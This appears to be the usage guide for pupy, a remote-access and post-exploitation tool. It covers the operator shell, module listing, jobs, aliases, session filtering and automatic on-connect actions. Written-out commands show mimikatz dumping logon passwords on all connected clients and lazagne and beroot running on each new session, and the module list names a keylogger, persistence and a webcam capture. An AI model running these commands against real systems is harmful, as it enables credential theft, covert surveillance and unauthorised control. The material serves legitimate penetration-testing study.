List commands and modules
To list all commands and aliases use the following command:
>> help
For a complete list of modules, run:
>> help -M
Find commands and modules help
First of all it is important to know that nearly all commands in pupy have a help builtin. So if at any moment you are wondering what a command does you can type your command followed by -h or --help.
>> sessions -h
>> jobs -h
>> run -h
This is even true for modules !
For example if you want to know how to use the pyexec module type :
>> pyexec -h
usage: pyexec [-h] [--file <path>] [-c <code string>]
execute python code on a remote system
optional arguments:
-h, --help show this help message and exit
--file <path> execute code from .py file
-c <code string>, --code <code string>
execute python oneliner code. ex : 'import
platform;print platform.uname()'
Use the completion !
Nearly all commands and modules in pupy have custom auto-completion. So if you are wondering what you need to type just press TAB
>> run
getsystem load_package msgbox ps shell_exec
download interactive_shell memory_exec persistence pyexec shellcode_exec
exit keylogger migrate port_scan pyshell socks5proxy
get_info linux_pers mimikatz portfwd screenshot upload
getprivs linux_stealth mouselogger process_kill search webcamsnap
>> load_package
_sqlite3 linux_stealth psutil pupyimporter pyshell sqlite3
interactive_shell netcreds ptyshell pupymemexec pywintypes27.dll vidcap
linux_pers portscan pupwinutils pupyutils scapy
>> pyexec -
--code --file --help -c -h
>> run pyexec --file /
/bin/ /etc/ /lib/ /libx32/ /media/ /proc/ /sbin/ /sys/ /var/
/boot/ /home/ /lib32/ /live-build/ /mnt/ /root/ /share/ /tmp/ /vmlinuz
/dev/ /initrd.img /lib64/ /lost+found/ /opt/ /run/ /srv/ /usr/
Escape your arguments
Every command in pupy shell uses a unix-like escaping syntax. If you need a space in one of your arguments you need to put your argument between quotes.
>> shell_exec 'tasklist /V'
If you send a Windows path, you need to double the backquotes or put everything between quotes.
>> download 'C:\Windows\System32\cmd.exe'
or
>> download C:\\Windows\\System32\\cmd.exe
Create Aliases
Modules aliases can be defined in the pupy.conf file. If you define the following alias :
shell=interactive_shell
running the command shell will be equivalent as running run interactive_shell.
As an example, defining the following alias will add a command to kill the pupy client's process with signal 9:
killme = pyexec -c 'import os;os.kill(os.getpid(),9)'
Jobs
Jobs are commands running in the background.
Some modules like socks5proxy or portfwd automatically start as jobs, but all modules can be run as jobs when used with the --bg argument.
>> run --bg shell_exec 'tasklist /V'
[%] job < shell_exec ['tasklist /V'] > started in background !
The --bg switch is typically used when you want to execute a long command/module and want the result later while having the shell still functioning.
The jobs output can be retrieved at any moment by using the jobs -p command. From the jobs command you can also list jobs status and kill jobs.
>> jobs
usage: jobs [-h] [-k <job_id>] [-l] [-p <job_id>]
list or kill jobs
optional arguments:
-h, --help show this help message and exit
-k <job_id>, --kill <job_id>
print the job current output before killing it
-l, --list list jobs
-p <job_id>, --print-output <job_id>
print a job output
Regular jobs can be set in Linux/Unix environments by running your pupysh.py script inside the Screen utility. You can then setup cronjobs to run the below command at whatever intervals you require, this essentially pastes the input after the word 'stuff' into the screen session. Replace 1674 with the ID of your screen session, the echo command is the Enter key being pressed.
screen -S 1674 -X stuff 'this is an example command'$(echo -ne '\015')
Handle multiple clients connected
By default pupy launch every module you run on all connected clients. This allows for example to run mimikatz on all connected clients and dump passwords everywhere in one command
>> run memory_exec /usr/share/mimikatz/Win32/mimikatz.exe privilege::debug sekurlsa::logonPasswords exit
To interact with one client, use the sessions -i command.
- To interact with session 1
>> sessions -i 1
- To interact with all windows 7 only:
>> sessions -i 'platform:Windows release:7'
You can find all the available filtering parameters using the get_info module.
Run commands after getting a new session
These commands should be specify on the pupy.conf file after the on_connect statement. To run these modules for each new sessions, all commands should start by any (or by *) and should have different names.
[on_connect]
any_1 = beroot
any_2 = lazagne
Another way should be to include an entire category like so
[on_connect]
* = include:default_commands
[default_commands]
any_1 = beroot
any_2 = lazagne
Run local commands
Start your command with a !
>> !ls